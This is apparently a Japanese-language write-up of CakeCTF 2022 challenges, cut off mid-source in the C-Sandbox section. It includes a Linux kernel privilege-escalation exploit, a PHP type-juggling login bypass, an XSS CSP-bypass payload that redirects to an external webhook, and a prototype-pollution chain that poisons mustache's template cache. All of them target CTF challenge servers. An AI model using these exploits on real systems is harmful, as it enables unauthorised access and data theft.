AAAAAAAAAAA\x80\x40\x40\x00\x00\x00\x00\x00\n3\n\xde\x16\x40\x00\x00\x00\x00\x00\n"; cat) | nc pwn1.2022.cakectf.com 9003
1. set c_str
2. get c_str
3. set str
4. get str
choice: str: choice: str: 01234567
choice: c_str: choice: str: ls
chall
flag-ba2a141e66fda88045dc28e72c0daf20.txt
cat f*
CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}
CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}

[pwn 113] welkerme (75 solves)

Introduction to Linux Kernel Exploit :)

nc pwn2.2022.cakectf.com 9999

添付ファイル: welkerme_afcc40e7baa18649730945cde6475354.tar.gz

やさしいLinux Kernel Exploit問。丁寧な解説が添付ファイルに含まれているので詳細はそちらを確認してもらうとして、まず /proc/kallsymsgrep すると commit_credsprepare_kernel_cred のアドレスがわかる。CMD_EXEC を使って呼び出してもらう関数の中で commit_creds(prepare_kernel_cred(NULL)) すると root になれる。

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002

void *(*prepare_kernel_cred)(void *) = 0xffffffff810726e0;
int (*commit_creds)(void *) = 0xffffffff81072540;

int func(void) {
  commit_creds(prepare_kernel_cred(NULL));
  return 31337;
}

int main(void) {
  int fd, ret;

  if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
    perror("/dev/welkerme");
    exit(1);
  }

  ret = ioctl(fd, CMD_ECHO, 12345);
  printf("CMD_ECHO(12345) --> %d\n", ret);

  ret = ioctl(fd, CMD_EXEC, (long)func);
  printf("CMD_EXEC(func) --> %d\n", ret);

  close(fd);
  execl("/bin/sh", "sh", NULL);

  return 0;
}

このexploitを実行する。

/tmp $ ./exploit
./exploit
CMD_ECHO(12345) --> 12345
CMD_EXEC(func) --> 31337
/tmp # cd /
cd /
/ # ls
ls
bin      etc      lib      linuxrc  root     sbin     tmp      var
dev      init     lib64    proc     run      sys      usr
/ # id
id
uid=0(root) gid=0(root)
/ # cat /root/flag*
cat /root/flag*
CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}

フラグが得られた。

CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}

[web 98] CakeGEAR (104 solves)

Can you crack the login portal of CakeGEAR router?

添付ファイル: cakegear_b8892957907a9f25a17529ad4dcc73f1.tar.gz

添付ファイルを展開すると、index.php, admin.php, Dockerfile というファイルが出てくる。admin.php は以下のような内容で、フラグを得るためには $_SESSION['admin']true にしなければならないことがわかる。

<?php
session_start();
if (empty($_SESSION['login']) || $_SESSION['login'] !== true) {
    header("Location: /index.php");
    exit;
}

if ($_SESSION['admin'] === true) {
    $mode = 'admin';
    $flag = file_get_contents("/flag.txt");
} else {
    $mode = 'guest';
    $flag = "***** Access Denied *****";
}
?>

どういう条件で $_SESSION['admin']true になるかは index.php を確認するとわかる。admin もしくは godmode というユーザでログインすればよいようだ。

adminf365691b6e7d8bc4e043ff1b75dc660708c1040e というSHA-1ハッシュ値をクラックしなければならないから論外として、godmode の方は switch 文を見る限りではパスワードはチェックされておらず、ユーザ名が godmode であればそれでよいように見える。しかしながら、それより先に行われている処理を見ると、in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1']) とアクセスしているIPアドレスがローカルのものであるかチェックされており、もしそうでなければログインしようとしているユーザ名を無理やり nobody に変えられてしまう。

<?php
session_start();
$_SESSION = array();
define('ADMIN_PASSWORD', 'f365691b6e7d8bc4e043ff1b75dc660708c1040e');

/* Router login API */
$req = @json_decode(file_get_contents("php://input"));
if (isset($req->username) && isset($req->password)) {
    if ($req->username === 'godmode'
        && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
        /* Debug mode is not allowed from outside the router */
        $req->username = 'nobody';
    }

    switch ($req->username) {
        case 'godmode':
            /* No password is required in god mode */
            $_SESSION['login'] = true;
            $_SESSION['admin'] = true;
            break;

        case 'admin':
            /* Secret password is required in admin mode */
            if (sha1($req->password) === ADMIN_PASSWORD) {
                $_SESSION['login'] = true;
                $_SESSION['admin'] = true;
            }
            break;

        case 'guest':
            /* Guest mode (low privilege) */
            if ($req->password === 'guest') {
                $_SESSION['login'] = true;
                $_SESSION['admin'] = false;
            }
            break;
    }

    /* Return response */
    if (isset($_SESSION['login']) && $_SESSION['login'] === true) {
        echo json_encode(array('status'=>'success'));
        exit;
    } else {
        echo json_encode(array('status'=>'error'));
        exit;
    }
}
?>

PHPと聞いてまず考えるのはType Jugglingだ。PHPでは switch 文が行うのは == による緩やかな比較なので、$req->username !== 'godmode' かつ $req->username == 'godname' が成り立つような $req->username を考えればよい。PHP 8.0より前のバージョンならば 0 でもよかった(0 == 'godmode' だった)のだけれども、PHP 8.0で変更があり成り立たなくなった。今回使われているPHPのバージョンは8系なので、残念ながら使えない。

PHP 8.0以降での == による比較の表を見ていると、true == 'php'true になるということがわかる。使えそうだ。

$req = @json_decode(file_get_contents("php://input"));index.phpJSONでユーザ入力を受け取っているから、{"username":true} のようなJSONを送ることで $req->usernametrue にできる。以下のようなスクリプトを実行するとフラグが得られた。

import requests
s = requests.Session()
r = s.post('http://web1.2022.cakectf.com:8005/', json={
    'username': True,
    'password': 'godmode'
})
print(r.text)
r = s.get('http://web1.2022.cakectf.com:8005/admin.php')
print(r.text)
CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}

[web 135] OpenBio (50 solves)

CSP + httponly = invulnerable

添付ファイル: openbio_357d4ebeb546dfeef981399a5ff12076.tar.gz

そんなことはない。URLを報告するとアクセスしに来てくれるXSS botのコードから見ていく。アクセスごとにこのbotは新しいユーザを登録していて、そのユーザ名はランダムであるため推測できない。このユーザのプロフィールとして await page.type('#bio', "You hacked me! The flag is " + flag); とフラグが設定されている様子がわかる。

const puppeteer = require('puppeteer');
const Redis = require('ioredis');
const connection = new Redis(6379, process.env.REDIS_HOST || "redis", {db: 1});

const wait = ms => new Promise(resolve => setTimeout(resolve, ms));
const flag = process.env.flag || "CakeCTF{**** TEST FLAG *****}";
const base_url = "http://challenge:8080";
const browser_option = {
    headless: true,
    args: [
        '-wait-for-browser',
        '--no-sandbox', '--disable-gpu',
        '--js-flags="--noexpose_wasm"'
    ]
}

const crawl = async (target) => {
    const url = base_url + '/profile/' + target + '?report';
    console.log(`[+] Crawling: ${url}`);

    const username = Math.random().toString(32).substring(2);
    const password = Math.random().toString(32).substring(2);

    const browser = await puppeteer.launch(browser_option);
    try {
        const page = await browser.newPage();
        // Register
        await page.goto(base_url + '/', {timeout: 3000});
        await page.type('#username', username);
        await page.type('#password', password);
        await page.click('#tab-signup');
        await page.click('#signup');
        await wait(1000);

        // Set flag to bio
        await page.goto(base_url + '/', {timeout: 3000});
        await page.$eval('#bio', element => element.value = '');
        await page.type('#bio', "You hacked me! The flag is " + flag);
        await page.click('#update');
        await wait(1000);

        // Check spam page
        await page.goto(url, {timeout: 3000});
        await wait(3000);
        await page.close();
    } catch(e) {
        console.log("[-] " + e);
    }

    console.log(`[+] Crawl done`);
    await browser.close();
}

const handle = async () => {
    console.log(await connection.ping());
    connection.blpop('report', 0, async (err, message) => {
        try {
            await crawl(message[1]);
            setTimeout(handle, 10);
        } catch (e) {
            console.log("[-] " + e);
        }
    });
};

handle();

このWebアプリケーションの脆弱性を探していく。以下のJinja2のテンプレートを見ると分かるように、{{ bio|safe }} のおかげでユーザのプロフィールを表示する画面で明らかにHTML Injectionができる。

            <div class="uk-container">
                <h1>
                    {{ username }}'s Profile
                    <a id="copy" class="uk-icon-button" uk-icon="link" uk-tooltip="Copy link"></a>
                    {% if not is_report %}<a id="report" class="uk-icon-button" uk-icon="warning" uk-tooltip="Report spam"></a>{% endif %}
                </h1>
                <p class="uk-text-large">{{ bio|safe }}</p>
            </div>

しかしながら、以下のようにCSPヘッダが設定されているため、<script>alert(123)</script><img src=x onerror=alert(123)> のようなインラインのJavaScriptコードは実行できない。

@app.after_request
def after_request(response):
    csp  = ""
    csp +=  "default-src 'none';"
    if 'csp_nonce' in flask.g:
        csp += f"script-src 'nonce-{flask.g.csp_nonce}' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
    else:
        csp += f"script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
    csp += f"style-src https://cdn.jsdelivr.net/;"
    csp += f"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;"
    csp += f"base-uri 'none';"
    csp += f"connect-src 'self';"
    response.headers['Content-Security-Policy'] = csp
    return response

あれ、script-src で許可するソースリストに https://cdn.jsdelivr.net/CDNが入っている。都合よく 'unsafe-eval' も入っている。自分で新しくパッケージを作ったり、脆弱なパッケージを読み込んだりするとCSPバイパスができそう。今回は面倒なので後者でやる。

以下のようにAngular 1.0.8を読み込んで、eval 相当のことをしてCSPバイパスをする。今回はXSS botがログインしているユーザ名さえわかればよいので、/fetch して、返ってきたHTMLの中に含まれるユーザ名を抽出する。(new Image).src='…'fetch('…') などで外部にユーザ名を投げようにも、default-srcconnect-src で制限されてしまっているので、location.href を使ってリダイレクトさせる形でなんとかする。

<script src="https://cdn.jsdelivr.net/npm/angular@1.0.8/lib/angular.min.js"></script>
<p ng-app>{{constructor.constructor('fetch("/").then(r=>r.text()).then(r=>{location.href="https://webhook.site/…?"+encodeURIComponent(r.match(/(.+)\'s Profile/g)[0])})')()}}

これで得られたユーザ名のプロフィールを閲覧すると、フラグが得られた。

CakeCTF{httponly=true_d03s_n0t_pr0t3ct_U_1n_m4ny_c4s3s!}

私がfirst bloodだった。始まってから10分以内に解けて嬉しい。

[web 289] Panda Memo (9 solves)

Please create an isolated instance on the server below:

nc web2.2022.cakectf.com 8002

添付ファイル: panda_memo_8490cb5f766015981851104ad4f33f2f.tar.gz

メモ帳アプリ。IPアドレスごとにメモが管理されている。ほかの問題と違っていちいちインスタンスを立てる必要があるあたりから、環境を派手に汚す問題なのだなあと察する。

添付ファイルを展開すると、以下のような server.js が出てくる。

const fs = require('fs');
const path = require('path');
const express = require('express');
const auth = require('express-basic-auth');
const mustache = require('mustache');
const app = express();

const SECRET = process.env["SECRET"] || "ADMIN_SECRET";
const FLAG = process.env["FLAG"] || "FakeCTF{panda-sensei}";
const BASIC_USERNAME = process.env["BASIC_USERNAME"] || "guest";
const BASIC_PASSWORD = process.env["BASIC_PASSWORD"] || "guest";

app.engine('html', function (filePath, options, callback) {
    fs.readFile(filePath, function (err, content) {
        if (err) return callback(err);
        let rendered = mustache.render(content.toString(), options);
        return callback(null, rendered);
    });
});
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'html');
app.use(express.json());
app.use(auth({
    challenge: true,
    unauthorizedResponse: () => {
        return "Unauthorized";
    },
    authorizer: (username, password) => {
        return auth.safeCompare(username, BASIC_USERNAME)
            && auth.safeCompare(password, BASIC_PASSWORD);
    }
}));

const isAdmin = req => req.query.secret === SECRET;
const getAdminRole = req => {
    /* Return array of admin roles (such as admin, developer).
       More roles are to be added in the future. */
    return isAdmin(req) ? ['admin'] : [];
}
let memo = {};

app.get('/', (req, res) => res.render('index'));

/** Create new memo */
app.post('/new', (req, res) => {
    /* Create new memo */
    if (!(req.ip in memo)) memo[req.ip] = [];
    memo[req.ip].push("");

    res.json({status: 'success'});
});

/** Delete memo */
app.post('/del', (req, res) => {
    let index = req.body.index;

    /* Delete memo */
    if ((req.ip in memo) && (index in memo[req.ip])) {
        memo[req.ip].splice(index, 1);
        res.json({status: 'success', result: 'Successfully deleted'});
    } else {
        res.json({status: 'error', result: 'Memo not found'});
    }
});

/** Get memo list */
app.get('/show', (req, res) => {
    let ip = req.ip;

    /* We don't need to call isAdmin here
       because only admin can see console log. */
    if (req.body.debug == true)
        console.table(memo, req.body.inspect);

    /* Admin can read anyone's memo for censorship */
    if (getAdminRole(req)[0] !== undefined)
        ip = req.body.ip;

    /* Return memo */
    if (ip in memo)
        res.json({status: 'success', result: memo[ip]});
    else
        res.json({status: 'error', result: 'Memo not found'});
});

/** Edit memo */
app.post('/edit', (req, res) => {
    let ip = req.ip;
    let index = req.body.index;
    let new_memo = req.body.memo;

    /* Admin can edit anyone's memo for censorship */
    if (getAdminRole(req)[0] !== undefined)
        ip = req.body.ip;

    /* Update memo */
    if (ip in memo) {
        memo[ip][index] = new_memo;
        res.json({status: 'success', result: 'Successfully updated'});
    } else {
        res.json({status: 'error', result: 'Memo not found'});
    }
});

/** Admin panel */
app.get('/admin', (req, res) => {
    res.render('admin', {is_admin:isAdmin(req), flag:FLAG});
});

app.listen(3000, () => {
    console.log("Server is up!");
});

以下のコードを見ればわかるように、secret というクエリパラメータに秘密の文字列を設定して /admin にアクセスすればフラグが得られる。当然ながら、ちゃんと process.env.SECRET が設定されていて、SECRETADMIN_SECRET という文字列ではない。

const SECRET = process.env["SECRET"] || "ADMIN_SECRET";

// …

const isAdmin = req => req.query.secret === SECRET;

// …

/** Admin panel */
app.get('/admin', (req, res) => {
    res.render('admin', {is_admin:isAdmin(req), flag:FLAG});
});

isAdmin という関数のほかにも、ユーザがadminであるかをチェックする getAdminRole という関数がある。使われているのはメモの編集をする処理で、もしadminならば好きなIPアドレスのメモを編集できる。

memo[ip][index] = new_memo; でPrototype Pollutionができそう。memoObject なので、編集対象のIPアドレス__proto__ を、indexneko を指定することで、Object.prototype.neko = new_memo 相当のことができる。しかしながら、それをするためにはまず getAdminRole(req)[0] !== undefined を突破しなければならない。

なぜ getAdminRole(req).length !== 0 でなくわざわざ getAdminRole(req)[0] !== undefined としているかが気になる。Object.prototype[0] = 'hoge' とPrototype Pollutionをしておけば突破できるはずだ。でも、どうやってそんなピンポイントなPrototype Pollutionをするのか。

const getAdminRole = req => {
    /* Return array of admin roles (such as admin, developer).
       More roles are to be added in the future. */
    return isAdmin(req) ? ['admin'] : [];
}

// …

/** Edit memo */
app.post('/edit', (req, res) => {
    let ip = req.ip;
    let index = req.body.index;
    let new_memo = req.body.memo;

    /* Admin can edit anyone's memo for censorship */
    if (getAdminRole(req)[0] !== undefined)
        ip = req.body.ip;

    /* Update memo */
    if (ip in memo) {
        memo[ip][index] = new_memo;
        res.json({status: 'success', result: 'Successfully updated'});
    } else {
        res.json({status: 'error', result: 'Memo not found'});
    }
});

ほかの処理をだらだら眺めていると、メモの表示処理で不自然な箇所があった。GETメソッドで受け付けているAPIではあるけれども、req.body.debug == true とリクエストボディで debug というキーにtruthyな値を設定しておくと、console.table(memo, req.body.inspect) と現在どんなメモが保存されているかをコンソールに出力してくれる。

/** Get memo list */
app.get('/show', (req, res) => {
    let ip = req.ip;

    /* We don't need to call isAdmin here
       because only admin can see console log. */
    if (req.body.debug == true)
        console.table(memo, req.body.inspect);

    /* Admin can read anyone's memo for censorship */
    if (getAdminRole(req)[0] !== undefined)
        ip = req.body.ip;

    /* Return memo */
    if (ip in memo)
        res.json({status: 'success', result: memo[ip]});
    else
        res.json({status: 'error', result: 'Memo not found'});
});

ここでPrototype Pollutionができないかと思い、なんとなく curl -X GET "http://localhost:3000/show" -H "Content-Type: application/json" -d '{"debug":true,"inspect":["__proto__"]}' というようなリクエストを送ってみたところ、以下のようにおかしなエラーが返ってきた。0 というプロパティが読めないと言われても困る。

TypeError: Cannot create property '0' on string ''
    at table (node:internal/cli_table:66:32)
    at final (node:internal/console/constructor:489:38)
    at console.table (node:internal/console/constructor:592:12)
…

ほかの箇所も壊れだし、たとえばメモが表示されなかったり、編集しようとしても以下のようにメモが存在しないと怒られてしまったりする。

$ curl "http://localhost:3000/edit" -H "Content-Type: application/json" -d '{"index":0,"memo":"neko"}'
{"status":"error","result":"Memo not found"}

どういうことかと思いその原因を探っていたところ、/edit で参照されている ipundefined となっていることに気づいた。まさかと思い getAdminRole(req)[0] を確認してみると、空文字列になっていた。Prototype Pollutionが起きている*3JavaScriptでは '' !== undefined であるから、ip = req.body.ip という処理が走ったことになる。

これを利用して、Object.prototype[0] が汚染された状態で curl "http://localhost:3000/edit" -H "Content-Type: application/json" -d '{"ip": "__proto__", "index":"neko","memo":["123"]}' というようなリクエストを投げると、先程言及したように Object.prototype.neko = ['123'] というように、もっと自由にキーを指定してPrototype Pollutionができる。

でも、Prototype Pollutionができたところで何を汚せばよいのか。フラグを得るためには isAdmintrue を返す必要があるが、isAdmin もそこで参照されている SECRET も汚せない。ということは server.js が使うライブラリにgadgetがないか探す必要がありそう。

使われているライブラリは色々あるけれども、数百行しかなくて比較的読むのが簡単そうな、テンプレートエンジンの mustache.js から確認した。Prototype Pollutionとテンプレートエンジンの組み合わせといえばPOSIXさんのAST Injectionだけれども、いい感じの処理がない。めげずに眺めていると、以下に抜き出したようなキャッシュ周りの処理が怪しそうに感じた。

  this.templateCache = {
    _cache: {},
    set: function set (key, value) {
      this._cache[key] = value;
    },
    get: function get (key) {
      return this._cache[key];
    },
    clear: function clear () {
      this._cache = {};
    }
  };

以下のようにキャッシュの取得・設定時にそのキーと値を出力するように mustache.js を書き換える。

    this.templateCache = {
      _cache: {},
      set: function set (key, value) {
        console.log('[set key]', JSON.stringify(key));
        console.log('[set value]', JSON.stringify(value));
        this._cache[key] = value;
      },
      get: function get (key) {
        console.log('[get key]', JSON.stringify(key));
        console.log('[get _cache[key]]', JSON.stringify(this._cache[key]));
        return this._cache[key];
      },
      clear: function clear () {
        this._cache = {};
      }
    };

このまま server.js を再起動し、/admin にアクセスすると、以下のようなログが得られた。テンプレートの末尾に :{{:}} を加えた文字列をキーとしているっぽい。当然最初のアクセスでは this._cache[key]undefined になるから、/admin にアクセスするより前にキャッシュを汚染しておいてやると、好きなコンテンツを返すようにできそう。

[get key] "<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"UTF-8\">\n        <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n        <title>Admin Panel - lolpanda</title>\n    </head>\n    <body>\n        <header>\n            <h1>Admin Panel</h1>\n            <p>Please leave this page if you're not the admin.</p>\n        </header>\n        <main>\n            <article style=\"text-align: center;\">\n                <h2>FLAG</h2>\n                <p>\n                    {{#is_admin}}\n                    FLAG: <code>{{flag}}</code>\n                    {{/is_admin}}\n                    {{^is_admin}}\n                    <mark>Access Denied</mark>\n                    {{/is_admin}}\n                </p>\n            </article>\n        </main>\n    </body>\n</html>\n:{{:}}"
[get _cache[key]] undefined
[set key] "<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"UTF-8\">\n        <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n        <title>Admin Panel - lolpanda</title>\n    </head>\n    <body>\n        <header>\n            <h1>Admin Panel</h1>\n            <p>Please leave this page if you're not the admin.</p>\n        </header>\n        <main>\n            <article style=\"text-align: center;\">\n                <h2>FLAG</h2>\n                <p>\n                    {{#is_admin}}\n                    FLAG: <code>{{flag}}</code>\n                    {{/is_admin}}\n                    {{^is_admin}}\n                    <mark>Access Denied</mark>\n                    {{/is_admin}}\n                </p>\n            </article>\n        </main>\n    </body>\n</html>\n:{{:}}"
[set value] [["text","<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"UTF-8\">\n        <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n        <title>Admin Panel - lolpanda</title>\n    </head>\n    <body>\n        <header>\n            <h1>Admin Panel</h1>\n            <p>Please leave this page if you're not the admin.</p>\n        </header>\n        <main>\n            <article style=\"text-align: center;\">\n                <h2>FLAG</h2>\n                <p>\n",0,464],["#","is_admin",484,497,[["text","                    FLAG: <code>",498,530],["name","flag",530,538],["text","</code>\n",538,546]],566],["^","is_admin",600,613,[["text","                    <mark>Access Denied</mark>\n",614,661]],681],["text","                </p>\n            </article>\n        </main>\n    </body>\n</html>\n",695,775]]

/admin のテンプレートは以下の通り。{{#is_admin}}{{^is_admin}} に変えてやれば、is_adminfalse であってもフラグが表示されるようになってよさそう。先程のログにある [set value] の行のオブジェクトのその部分を ["#","is_admin",484,497,[["text"," FLAG: <code>",498,530],["name","flag",530,538],["text","</code>\n",538,546]],566] というように変えたものをメモっておく。

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css">
        <title>Admin Panel - lolpanda</title>
    </head>
    <body>
        <header>
            <h1>Admin Panel</h1>
            <p>Please leave this page if you're not the admin.</p>
        </header>
        <main>
            <article style="text-align: center;">
                <h2>FLAG</h2>
                <p>
                    {{#is_admin}}
                    FLAG: <code>{{flag}}</code>
                    {{/is_admin}}
                    {{^is_admin}}
                    <mark>Access Denied</mark>
                    {{/is_admin}}
                </p>
            </article>
        </main>
    </body>
</html>

ここまでの流れを整理したものが以下のPythonスクリプト

import requests
BASE = 'http://localhost:3000'
s = requests.Session()
s.auth = ('guest', 'guest')

s.post(f'{BASE}/new')
s.post(f'{BASE}/edit', json={"index":"0","memo":"neko"})
s.get(f'{BASE}/show', json={"debug":True,"inspect":["__proto__"]})
s.post(f'{BASE}/edit', json={
    "ip": "__proto__",
    "index": "neko",
    "memo": "abc"
})

s.post(f'{BASE}/edit', json={
    "ip": "__proto__",
    "index": "<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"UTF-8\">\n        <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n        <title>Admin Panel - lolpanda</title>\n    </head>\n    <body>\n        <header>\n            <h1>Admin Panel</h1>\n            <p>Please leave this page if you're not the admin.</p>\n        </header>\n        <main>\n            <article style=\"text-align: center;\">\n                <h2>FLAG</h2>\n                <p>\n                    {{#is_admin}}\n                    FLAG: <code>{{flag}}</code>\n                    {{/is_admin}}\n                    {{^is_admin}}\n                    <mark>Access Denied</mark>\n                    {{/is_admin}}\n                </p>\n            </article>\n        </main>\n    </body>\n</html>\n:{{:}}",
    "memo": [["text","<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"UTF-8\">\n        <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n        <title>Admin Panel - lolpanda</title>\n    </head>\n    <body>\n        <header>\n            <h1>Admin Panel</h1>\n            <p>Please leave this page if you're not the admin.</p>\n        </header>\n        <main>\n            <article style=\"text-align: center;\">\n                <h2>FLAG</h2>\n                <p>\n",0,464],["^","is_admin",484,497,[["text","                    FLAG: <code>",498,530],["name","flag",530,538],["text","</code>\n",538,546]],566],["^","is_admin",600,613,[["text","                    <mark>Access Denied</mark>\n",614,661]],681],["text","                </p>\n            </article>\n        </main>\n    </body>\n</html>\n",695,775]]
})

print(s.get(f'{BASE}/admin').text)

これを実行するとフラグが得られた。

$ python3 solve.py 
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css">
        <title>Admin Panel - lolpanda</title>
    </head>
    <body>
        <header>
            <h1>Admin Panel</h1>
            <p>Please leave this page if you're not the admin.</p>
        </header>
        <main>
            <article style="text-align: center;">
                <h2>FLAG</h2>
                <p>
                    FLAG: <code>&quot;CakeCTF{pollute_and_p011u73_4nd_PoLLuTE!}&quot;</code>
                    <mark>Access Denied</mark>
                </p>
            </article>
        </main>
    </body>
</html>
CakeCTF{pollute_and_p011u73_4nd_PoLLuTE!}

私がfirst bloodだった。問題がリリースされてから2時間弱で解けて嬉しい。

[misc 133] readme 2022 (52 solves)

nc misc.2022.cakectf.com 12022

添付ファイル: readme2022_80ade97026adcb7e3e8f6203ad1eab06.tar.gz

Beginners CTF 2020のreadmeのリベンジ問っぽい。添付ファイルを展開すると、以下のようなシンプルなPythonコードが出てきた。

import os

try:
    f = open("/flag.txt", "r")
except:
    print("[-] Flag not found. If this message shows up")
    print("    on the remote server, please report to amdin.")

if __name__ == '__main__':
    filepath = input("filepath: ")
    if filepath.startswith("/"):
        exit("[-] Filepath must not start with '/'")
    elif '..' in filepath:
        exit("[-] Filepath must not contain '..'")

    filepath = os.path.expanduser(filepath)
    try:
        print(open(filepath, "r").read())
    except:
        exit("[-] Could not open file")

os.path.expanduser という関数が怪しいのでPythonのドキュメントを確認する。

与えられた引数の先頭のパス要素 ~、または ~user を、 user のホームディレクトリのパスに置き換えて返します

なるほど。ルートディレクトリをホームディレクトリとするユーザが居ないか、付属していた Dockerfile を使ってDockerコンテナを立てて /etc/passwd を確認してみたものの、もちろんなかった。が、sys/dev をホームディレクトリとしていて使えそう。

ctf@a70f9b8b6c4f:/app$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
ctf:x:999:999::/home/ctf:/bin/sh

/dev/fd/proc/self/fd へのシンボリックリンクになっている。このスクリプトの最初で f = open("/flag.txt", "r")flag.txt が開かれているから、そのファイルディスクリプタを当てれば /dev/fd/(flag.txtのファイルディスクリプタ) からフラグを読めるはず。1から順番に試して ~sys/fd/6 でフラグが得られた。

$ nc misc.2022.cakectf.com 12022
filepath: ~sys/fd/6
CakeCTF{~USER_r3f3rs_2_h0m3_d1r3ct0ry_0f_USER}

[misc 204] C-Sandbox (20 solves)

I designed a restricted C compiler! nc misc.2022.cakectf.com 10099

添付ファイル: c_sandbox_c85cfad2fce8c0c6ac1dc144a1e4229c.tar.gz

添付ファイルを展開すると、色々ファイルが出てくる。重要そうなのは compiler.pysandbox.cpp ぐらいなので、それぞれそのまま載せる。まずは compiler.py だけれども、これは与えられたCコードをコンパイルして実行しているっぽい。気になるのは opt-11 -load ./libCSandbox.so -Sandbox < {} > {} 2>/dev/null という処理で、opt というのは最適化などを行ってくれるツールらしい。-load というオプションで与えられているファイルが最適化などを行うLLVM Passというものらしい。LLVM Passである libCSandbox.soソースコードsandbox.cpp ということっぽい。

#!/usr/bin/env python3
import os
import random

def tempname(extension='', length=16, directory='/tmp'):
    name = '{:x}'.format(random.randrange(0, 1<<(length*8)))
    return directory + '/' + name.zfill(length) + extension

def c_compile(code):
    c_path   = tempname(extension='.c')
    bc_path  = tempname(extension='.bc')
    ir_path  = tempname(extension='.ir')
    asm_path = tempname(extension='.asm')
    elf_path = tempname(extension='.bin')
    with open(c_path, 'w') as f:
        f.write(code)

    print("[+] Generating bitcode...")
    r = os.system('clang-11 -emit-llvm -c {} -o {} 2>/dev/null'
                  .format(c_path, bc_path))
    os.unlink(c_path)
    if r != 0: return

    print("[+] Instrumenting...")
    r = os.system('opt-11 -load ./libCSandbox.so -Sandbox < {} > {} 2>/dev/null'
                  .format(bc_path, ir_path))
    os.unlink(bc_path)
    if r != 0:
        os.unlink(ir_path)
        return

    print("[+] Translating to assembly...")
    r = os.system('llc-11 {} -o {} 2>/dev/null'
                  .format(ir_path, asm_path))
    os.unlink(ir_path)
    if r != 0: return

    print("[+] Compiling...")
    r = os.system('clang-11 {} -o {} 2>/dev/null'
                  .format(asm_path, elf_path))
    os.unlink(asm_path)
    if r != 0: return

    return elf_path

if __name__ == '__main__':
    print("Enter your C code (Type 'EOF' to quit input)")
    code = ''
    while True:
        line = input()
        if line == 'EOF': break
        code += line + '\n'
        if len(code) > 0x1000:
            print("[-] Too long")
            exit(1)

    elf_path = c_compile(code)
    if elf_path is None:
        print("[-] Compilation failed")
        exit(1)

    print("[+] Running...", flush=True)
    os.system("timeout -s KILL --foreground 60 {}".format(elf_path))
    os.unlink(elf_path)

sandbox.cpp は以下の通り。puts, printf, __isoc99_scanf, exit 以外の名前の関数を使うのは絶対に許さないっぽい。

#include "llvm/IR/IRBuilder.h"
#include "llvm/IR/LegacyPassManager.h"

using namespace llvm;

struct Sandbox : public ModulePass {
  static char ID;

  Sandbox() : ModulePass(ID) {}

  bool initialize(Module &M) {
    return true;
  }

  bool runOnModule(Module &M) override {
    for (auto& F: M) {
      runOnFunction(F, M);
    }
    return false;
  }

  bool runOnFunction(Function &F, Module &M) {
    for (auto& BB: F) {
      runOnBasicBlock(BB, M);
    }
    return false;
  }

  bool runOnBasicBlock(BasicBlock &BB, Module &M) {
    for (auto& I: BB) {
      if (auto ci(dyn_cast<CallInst>(&I)); ci) {
        /* Get function name to be called */
        auto func = ci->getCalledFunction();
        if (!func) {
          auto *value = ci->getCalledOperand();
          func = dyn_cast<Function>(value->stripPointerCasts());
        }

        /* Allow these function calls */
        if (func && 
            (func->getName() == "puts"
             || func->getName() == "printf"
             || func->getName() == "__isoc99_scanf"
             || func->getName() == "exit"))
          continue;

        /* Otherwise insert trap */
        std::string str_I;
        raw_string_ostream(str_I) << I;
